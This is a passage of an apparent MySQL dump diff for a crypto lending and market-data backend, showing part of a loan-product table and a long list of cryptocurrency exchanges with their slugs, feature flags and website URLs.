NULL DEFAULT NULL COMMENT '贷款最小额度', + `amount_max` decimal(18, 6) NULL DEFAULT NULL COMMENT '贷款最大额度', + `cycle_type` int(0) NULL DEFAULT NULL COMMENT '周期类型 0-7天 1-14天 2-30天 ,,,,待补充', + `repay_type` int(0) NULL DEFAULT NULL COMMENT '还款类型 0-到期一次换本息...待补充', + `status` int(0) NULL DEFAULT NULL COMMENT '状态 0 未开启 1已开启', + `create_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL, + `create_time` datetime(0) NULL DEFAULT NULL COMMENT '创建时间', + `update_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL, + `update_time` datetime(0) NULL DEFAULT NULL COMMENT '更新时间', + `remark` varchar(1024) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '用户备注', + `search_value` varchar(1024) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL, + `odds` decimal(18, 6) NULL DEFAULT NULL COMMENT '日利率(%)', + `repay_org` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '还款机构', + `is_freeze` char(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '是否冻结 1=正常 2=冻结', + PRIMARY KEY (`id`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 9 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci COMMENT = '借贷产品表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of t_load_product +-- ---------------------------- +INSERT INTO `t_load_product` VALUES (6, 1000.000000, 100000.000000, 7, 0, 1, NULL, '2023-08-09 11:12:06', NULL, '2023-08-25 03:04:02', NULL, NULL, 0.160000, 'Binance', '1'); +INSERT INTO `t_load_product` VALUES (7, 1000.000000, 1000000.000000, 15, 0, 1, NULL, '2023-08-09 13:53:12', NULL, '2023-08-25 03:01:30', NULL, NULL, 0.142000, 'Binance', NULL); +INSERT INTO `t_load_product` VALUES (8, 1000.000000, 2000000.000000, 30, 0, 0, NULL, '2023-08-25 02:52:49', NULL, '2023-08-25 03:01:37', NULL, NULL, 0.133000, 'Binance', NULL); + +-- ---------------------------- +-- Table structure for t_markets +-- ---------------------------- +DROP TABLE IF EXISTS `t_markets`; +CREATE TABLE `t_markets` ( + `id` bigint(0) NOT NULL AUTO_INCREMENT, + `slug` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '交易所名称(ID)', + `fullname` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '交易所全称', + `website_url` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '交易所官网链接', + `status` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '状态: [enable, disable]. disable为停止更新数据', + `kline` tinyint(0) NULL DEFAULT NULL COMMENT '是否接入K线数据', + `spot` tinyint(0) NULL DEFAULT NULL COMMENT '是否支持现货', + `futures` tinyint(0) NULL DEFAULT NULL COMMENT '是否支持期货', + `search_value` varchar(1024) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL, + PRIMARY KEY (`id`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 461 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci COMMENT = '支持交易所' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of t_markets +-- ---------------------------- +INSERT INTO `t_markets` VALUES (1, 'binance-future', 'Binance Futures', 'https://www.binance.com/', 'enable', 0, 0, 1, NULL); +INSERT INTO `t_markets` VALUES (2, 'binance', 'Binance', 'https://www.binance.com/', 'enable', 1, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (3, 'upbit', 'UPbit', 'https://upbit.com/', 'enable', 1, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (4, 'gate-io-futures', 'GateIo Futures', 'https://www.gate.io/', 'enable', 0, 0, 1, NULL); +INSERT INTO `t_markets` VALUES (5, 'kraken-futures', 'Kraken Futures', 'https://futures.kraken.com', 'enable', 0, 0, 1, NULL); +INSERT INTO `t_markets` VALUES (6, 'gdax', 'Coinbase Pro', 'https://pro.coinbase.com/', 'enable', 1, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (7, 'gate-io', 'Gate.io', 'https://www.gate.io/', 'enable', 1, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (8, 'okex', 'OKX', 'https://www.okx.com/', 'enable', 1, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (9, 'kucoin', 'Kucoin', 'https://www.kucoin.com', 'enable', 1, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (10, 'bitmex', 'BitMEX', 'https://www.bitmex.com/', 'enable', 0, 0, 1, NULL); +INSERT INTO `t_markets` VALUES (11, 'kraken', 'Kraken', 'https://www.kraken.com', 'enable', 1, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (12, 'bithumb', 'Bithumb', 'https://www.bithumb.com/', 'enable', 1, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (13, 'huobipro', 'Huobi', 'https://www.huobi.com/', 'enable', 1, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (14, 'huobi-dm', 'Huobi DM', 'https://dm.huobi.com/', 'enable', 0, 0, 1, NULL); +INSERT INTO `t_markets` VALUES (15, 'paribu', 'Paribu', 'https://www.paribu.com', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (16, 'bitstamp', 'Bitstamp', 'https://www.bitstamp.net', 'enable', 1, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (17, 'hitbtc', 'Hitbtc', 'https://hitbtc.com', 'enable', 1, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (18, 'bitfinex', 'Bitfinex', 'https://www.bitfinex.com', 'enable', 1, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (19, 'poloniex', 'Poloniex', 'https://poloniex.com', 'enable', 1, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (20, 'coinone', 'Coinone', 'https://coinone.co.kr/', 'enable', 1, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (21, 'bigone', 'BigONE', 'https://www.bigonechina.com', 'enable', 1, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (22, 'coincheck', 'Coincheck', 'https://coincheck.com/cn/', 'enable', 1, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (23, 'p2pb2b', 'P2PB2B', 'https://p2pb2b.io/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (24, 'mxc', 'MEXC', 'https://www.mexc.com', 'enable', 1, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (25, 'bitkub', 'Bitkub', 'https://www.bitkub.com', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (26, 'exmo', 'Exmo', 'https://exmo.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (27, 'latoken', 'LATOKEN', 'https://latoken.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (28, 'coinex', 'CoinEx', 'https://www.coinex.com/', 'enable', 1, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (29, 'bitflyer', 'Bitflyer', 'https://bitflyer.jp/', 'enable', 1, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (30, 'yobit', 'YoBit', 'https://yobit.net', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (31, 'bitbank', 'bitbank', 'https://bitbank.cc', 'enable', 1, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (32, 'mercatox', 'Mercatox', 'https://mercatox.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (33, 'binance-us', 'Binance US', 'https://binance.us', 'enable', 1, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (34, 'bitforex', 'BitForex', 'https://www.bitforex.com/', 'enable', 1, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (35, 'gemini', 'Gemini', 'https://gemini.com/', 'enable', 1, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (36, 'bitbns', 'Bitbns', 'https://bitbns.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (37, 'bitrue', 'Bitrue', 'https://www.bitrue.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (38, 'oceanex', 'OceanEx', 'https://oceanex.pro/en', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (39, 'sushiswap', 'Sushiswap', 'https://sushiswapclassic.org', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (40, 'bybit', 'Bybit', 'https://www.bybit.com/zh-CN/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (41, 'bitso', 'Bitso', 'https://bitso.com', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (42, 'tradeogre', 'TradeOgre', 'https://tradeogre.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (43, 'bilaxy', 'Bilaxy', 'https://bilaxy.com/user/register?intro=1507798', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (44, 'luno', 'Luno', 'https://www.luno.com/en/exchange', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (45, 'coinsbit', 'Coinsbit', 'https://coinsbit.io/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (46, 'bithumb-global', 'Bithumb Global', 'https://www.bithumb.pro', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (47, 'digifinex', 'DigiFinex', 'https://www.digifinex.io', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (48, 'bibox', 'Bibox', 'https://www.bibox.me', 'enable', 1, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (49, 'gopax', 'GOPAX', 'https://www.gopax.co.kr', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (50, 'exmarkets', 'ExMarkets', 'https://exmarkets.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (51, 'btc-markets', 'BTCMarkets', 'https://btcmarkets.net/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (52, 'korbit', 'Korbit', 'https://www.korbit.co.kr', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (53, 'independent-reserve', 'Independent Reserve', 'https://www.independentreserve.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (54, 'tidex', 'Tidex', 'https://tidex.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (55, 'coinfield', 'CoinField', 'https://www.coinfield.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (56, 'spookyswap', 'SpookySwap', 'https://spookyswap.finance/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (57, 'bit4you', 'bit4you', 'https://www.bit4you.io/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (58, 'fatbtc', 'Fatbtc', 'https://fatbtc.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (59, 'shibaswap', 'ShibaSwap', 'https://shibaswap.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (60, 'bione-cc', 'Bione', 'https://bione.cc/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (61, 'probit', 'ProBit Global', 'https://www.probit.kr', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (62, 'zaif', 'Zaif', 'https://zaif.jp', 'enable', 1, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (63, 'cex-io', 'Cex.io', 'https://cex.io', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (64, 'wazirx', 'WazirX', 'https://wazirx.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (65, 'bitpanda', 'Bitpanda Global', 'https://www.bitpanda.com/', 'enable', 1, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (66, 'coinlist', 'Coinlist Pro', 'https://pro.coinlist.co/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (67, 'covesting', 'Covesting', 'https://covesting.io', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (68, 'cryptology', 'Cryptology', 'https://cryptology.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (69, 'stellar-decentralized-exchange', 'Stellar Decentralized Exchange', 'https://stellarterm.com', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (70, 'bit2c', 'Bit2C', 'https://www.bit2c.co.il', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (71, 'monster-one', 'Monster', 'https://www.mser.one', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (72, 'ethfinex', 'Ethfinex', 'https://deversifi.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (73, 'zebpay', 'Zebpay', 'https://www.zebpay.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (74, 'abcc', 'ABCC', 'https://abcc.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (75, 'bkex', 'BKEX', 'https://www.bkex.com', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (76, 'buda', 'Buda', 'https://www.buda.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (77, 'bequant-io', 'Bequant', 'https://bequant.io/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (78, 'satang-pro', 'Satang Pro', 'https://satang.pro/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (79, 'lbank', 'LBank', 'https://www.lbex.pro', 'enable', 1, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (80, 'bl3p', 'BL3P', 'https://bl3p.eu/trade', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (81, 'btcbox', 'BTCBOX', 'https://www.btcbox.co.jp/', 'enable', 1, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (82, 'znn', 'ZNN', 'https://www.znn.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (83, 'southxchange', 'SouthXchange', 'https://www.southxchange.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (84, 'yunex-io', 'Yunex', 'https://yunex.io/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (85, 'paymium', 'Paymium', 'https://www.paymium.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (86, 'tidebit', 'Tidebit', 'https://www.tidebit.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (87, 'newdex-io', 'Newdex', 'https://newdex.io/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (88, 'btc-trade-ua', 'BTC Trade UA', 'https://btc-trade.com.ua/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (89, 'freiexchange', 'FreiExchange', 'https://freiexchange.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (90, 'bitinka', 'Bitinka', 'https://www.bitinka.com.ar', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (91, 'koinim', 'Koinim', 'https://koinim.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (92, 'bitflyer-future', 'Bitflyer Future', 'https://bitflyer.jp/', 'enable', 0, 0, 1, NULL); +INSERT INTO `t_markets` VALUES (93, 'coinfalcon', 'CoinFalcon', 'https://coinfalcon.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (94, 'coingi', 'Coingi', 'https://coingi.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (95, 'compound', 'Compound', 'https://app.compound.finance/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (96, 'bgogo', 'Bgogo', 'https://bgogo.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (97, 'tdax', 'TDAX', 'https://tdax.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (98, '0i', '0i', 'https://www.0i.com/index', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (99, 'huobius', 'Huobi US', 'https://www.huobi.us/', 'enable', 1, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (100, '2100bit', '2100BIT', 'https://www.2100bit.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (101, 'icbc', 'ICBC', NULL, 'enable', 0, 0, 0, NULL); +INSERT INTO `t_markets` VALUES (102, '55-global-markets', '55 Global Markets', 'https://www.55.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (103, 'icoinbay', 'iCoinbay', 'https://www.icoinbay.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (104, '58coin', '58COIN', 'https://www.58coin.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (105, 'idax', 'IDAX', 'https://www.idax.pro', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (106, '66otc', '66OTC', 'https://www.66otc.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (107, 'idbex', 'Idbex', 'https://www.idbex.com', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (108, '9coin', '9coin', 'https://www.9coin.com', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (109, 'idcm-io', 'IDCM', 'https://www.idcm.io/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (110, 'aacoin', 'AAcoin', 'https://www.aacoin.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (111, 'idex', 'IDEX', 'https://idex.market', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (112, 'abchina', 'ABChina', NULL, 'enable', 0, 0, 0, NULL); +INSERT INTO `t_markets` VALUES (113, 'indodax', 'Indodax', 'https://indodax.com', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (114, 'abucoins', 'Abucoins', 'https://abucoins.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (115, 'infinitycoin-exchange', 'InfinityCoin Exchange', 'https://infinitycoin.exchange/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (116, 'acx-io', 'Acx', 'https://acx.io/', 'enable', 1, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (117, 'instant-bitex', 'Instant Bitex', 'https://instantbitex.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (118, 'aex', 'AEX', 'https://www.aex.com', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (119, 'iquant', 'Iquant', 'https://www.5iquant.org/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (120, 'aidos-market', 'AidosMarket', 'https://aidosmarket.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (121, 'isx', 'ISX', 'https://beta.isx.is', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (122, 'airswap', 'AirSwap', 'https://www.airswap.io/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (123, 'itbit', 'itBit', 'https://www.itbit.com', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (124, 'allbit', 'Allbit', 'https://allbit.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (125, 'keepbtc', 'KeepBTC', 'https://www.keepbtc.net', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (126, 'allcoin', 'Allcoin', 'https://www.allcoin.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (127, 'kex', 'KEX', 'https://kex.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (128, 'altcoin-trader', 'Altcoin Trader', 'https://www.altcointrader.co.za/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (129, 'koineks', 'Koineks', 'https://koineks.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (130, 'altilly', 'Altilly', 'https://www.altilly.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (131, 'koinex', 'Koinex', 'https://koinex.in/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (132, 'anxpro', 'ANXPRO', 'https://anxpro.com', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (133, 'aoex', 'Aoex', 'https://www.aoex.com/index', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (134, 'aubtc-io', 'Aubtc', 'https://aubtc.io/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (135, 'b-ex', 'B-Ex', 'https://b-ex.io/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (136, 'b2bx', 'B2BX', 'https://www.b2bx.exchange/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (137, 'kryptono', 'Kryptono', 'https://kryptono.exchange/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (138, 'bancor-network', 'Bancor Network', 'https://www.bancor.network/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (139, 'bankcomm', 'Bank Of Communications', NULL, 'enable', 0, 0, 0, NULL); +INSERT INTO `t_markets` VALUES (140, 'kuna', 'Kuna', 'https://kuna.io', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (141, 'bankofamerica', 'Bank Of America', NULL, 'enable', 0, 0, 0, NULL); +INSERT INTO `t_markets` VALUES (142, 'kyber-network', 'Kyber Network', 'https://kyber.network/swap', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (143, 'bankofchina', 'Bank Of China', NULL, 'enable', 0, 0, 0, NULL); +INSERT INTO `t_markets` VALUES (144, 'lakebtc', 'LakeBTC', 'https://www.lakebtc.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (145, 'bao-top', 'Bao', 'https://www.bao.top', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (146, 'bbang-one', 'Bbang', 'https://www.bbang.one/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (147, 'bcex', 'BCEX', 'https://www.bcex.ca/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (148, 'leoxchange', 'LEOxChange', 'https://leoxchange.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (149, 'bcoin-sg', 'BCoin.sg', 'https://www.bcoin.sg/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (150, 'liqui', 'Liqui', 'https://liqui.io/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (151, 'be-top', 'BE.TOP', 'https://www.be.top/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (152, 'litebit', 'LiteBit.eu', 'https://www.litebit.eu/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (153, 'becent', 'Becent', 'https://www.becent.com', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (154, 'livecoin', 'LiveCoin', 'https://www.livecoin.net/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (155, 'lmex-top', 'LMEX', 'https://www.lmex.top/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (156, 'bgj-io', 'bgj.io', 'https://bgj.io', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (157, 'localbitcoins', 'Localbitcoins', 'https://localbitcoins.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (158, 'localtrade', 'LocalTrade', 'https://localtrade.cc/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (159, 'longex-io', 'Longex', 'https://www.longex.io', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (160, 'biex-io', 'Biex', 'https://www.biex.io/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (161, 'bige-top', 'Bige.top', 'https://www.bige.top', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (162, 'lykke-exchange', 'Lykke Exchange', 'https://lykke.com/exchange.php', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (163, 'biger-in', 'Biger', 'https://www.biger.pro/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (164, 'mbaex', 'MBAex', 'https://www.mbaex.com', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (165, 'bihodl', 'Bihodl', 'https://www.bihodl.com', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (166, 'mercado-bitcoin', 'Mercado Bitcoin', 'https://www.mercadobitcoin.com.br/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (167, 'bikicoin', 'Bikicoin', 'https://www.biki.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (168, 'mgcex-nz', 'MGCEX.NZ', 'http://www.mgcex.com', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (169, 'binance-dex', 'Binance DEX', 'https://www.binance.org', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (170, 'binance-jersey', 'Binance Jersey', 'https://www.binance.je', 'enable', 1, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (171, 'nanex', 'Nanex', 'https://nanex.co/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (172, 'binance-uganda', 'Binance Uganda', 'https://www.binance.co.ug', 'enable', 1, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (173, 'negocie-coins', 'Negocie Coins', 'https://www.negociecoins.com.br/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (174, 'neraexpro', 'Neraex', 'https://neraex.pro/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (175, 'bisq', 'Bisq', 'https://bisq.network/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (176, 'bit-z', 'Bit-Z', 'https://bitz.com', 'enable', 1, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (177, 'nocks', 'Nocks', 'https://nocks.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (178, 'bit-z-futures', 'Bit-Z Futures', 'https://bitz.com', 'enable', 0, 0, 1, NULL); +INSERT INTO `t_markets` VALUES (179, 'novaexchange', 'Novaexchange', 'https://novaexchange.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (180, 'oasisdex', 'OasisDEX', 'https://oasisdex.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (181, 'bitalong', 'Bitalong', 'https://www.bitalong.com', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (182, 'oax', 'OAX', 'https://www.oax.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (183, 'bitasiaex', 'Bitasiaex', 'https://www.bitasiaex.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (184, 'ocnex-io', 'Ocnex', 'https://www.ocnex.io/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (185, 'ocx', 'OCX', 'https://ocx.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (186, 'bitbay', 'BitBay', 'https://auth.bitbay.net', 'enable', 1, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (187, 'oex', 'OEX', 'https://www.oex.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (188, 'bitbitx', 'Bitbitx', 'https://bitbitx.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (189, 'ok-top', 'OKTop', 'https://www.ok.top/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (190, 'okcec', 'OKCEC', 'https://okcec.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (191, 'bitbox', 'Bitbox', 'https://www.bitbox.me/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (192, 'okcoincom', 'OKCoin', 'https://www.okcoin.com', 'enable', 1, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (193, 'bitcoin-indonesia', 'Bitcoin Indonesia', 'https://www.bitcoin.co.id', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (194, 'okcoinkr', 'OKCoin KR', 'https://okex.co.kr', 'enable', 1, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (195, 'bitcointoyou', 'BitcoinToYou', 'https://www.bitcointoyou.com/', 'enable', 0, 1, 0, NULL); +INSERT INTO `t_markets` VALUES (196, 'bitcointrade', 'BitcoinTrade', 